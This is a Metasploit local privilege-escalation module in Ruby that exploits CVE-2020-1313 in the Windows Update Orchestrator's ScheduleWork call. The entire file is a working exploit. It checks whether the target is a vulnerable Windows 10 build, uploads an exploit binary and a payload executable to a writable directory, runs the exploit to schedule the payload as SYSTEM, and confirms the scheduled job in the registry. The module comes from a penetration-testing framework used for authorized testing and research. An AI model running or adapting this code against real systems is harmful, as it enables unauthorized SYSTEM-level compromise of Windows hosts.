##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Update Orchestrator unchecked ScheduleWork call',
        'Description' => %q{
          This exploit uses access to the UniversalOrchestrator ScheduleWork API call
          which does not verify the caller's token before scheduling a job to be run
          as SYSTEM.  You cannot schedule something in a given time, so the payload will
          execute as system sometime in the next 24 hours.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Imre Rad', # Original discovery? and PoC (https://github.com/irsl/CVE-2020-1313)
          'bwatters-r7' # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2019-11-04',
        'References' => [
          ['CVE', '2020-1313'],
          ['URL', 'https://github.com/irsl/CVE-2020-1313']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK
          ]
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => true
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_NAME',
                    [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('WRITABLE_DIR',
                    [false, 'Path to write binaries (%TEMP% by default).', nil]),
      OptInt.new('EXPLOIT_TIMEOUT',
                 [true, 'The number of seconds to wait for exploit to finish running', 60]),
      OptInt.new('EXECUTE_DELAY',
                 [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
  end

  def exploit
    exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
    exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
    payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
    temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
    payload_path = "#{temp_path}\\#{payload_name}"
    exploit_path = "#{temp_path}\\#{exploit_name}"
    payload_exe = generate_payload_exe

    # Check target
    vprint_status('Checking Target')
    validate_active_host
    validate_target
    fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)

    # Upload Exploit
    vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
    ensure_clean_destination(exploit_path)
    exploit_bin = exploit_data('cve-2020-1313', 'cve-2020-1313-exe.x64.exe')
    write_file(exploit_path, exploit_bin)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")

    # Upload Payload
    vprint_status("Uploading Payload to #{sysinfo['Computer']} as #{exploit_path}")
    ensure_clean_destination(payload_path)
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
    print_warning("This exploit requires manual cleanup of the payload #{payload_path}")

    # Run Exploit
    vprint_status('Running Exploit')
    begin
      output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
      vprint_status("Exploit Output:\n#{output}")
    rescue Rex::TimeoutError => e
      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
      print_error('Caught timeout.  Exploit may be taking longer or it may have failed.')
    end
    vprint_status("Cleaning up #{exploit_path}")
    ensure_clean_destination(exploit_path)

    # Check registry value
    unless registry_key_exist?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
      fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!')
    end
    reg_keys = registry_enumkeys('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
    fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') if reg_keys.nil?
    found_job = false
    reg_keys.each do |key|
      start_arg = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'startArg')
      next unless start_arg['Data'].include? payload_name

      found_job = true
      queued_time = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'queuedTime')
      q_time_i = queued_time['Data'].unpack1('L_')
      q_time_t = (q_time_i / 10000000) - 11644473600
      print_good("Payload Scheduled for execution at #{Time.at(q_time_t)}")
    end
    fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') unless found_job
  end

  def validate_active_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog('Could not connect to session', error: e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_target
    if sysinfo['Architecture'] != ARCH_X64
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
  end

  def check
    version = get_version_info
    vprint_status("OS version: #{version}")
    if version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_2004)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def ensure_clean_destination(path)
    return unless file?(path)

    print_status("#{path} already exists on the target. Deleting...")
    begin
      file_rm(path)
      print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog(e)
      print_error("Unable to delete #{path}")
    end
  end
end
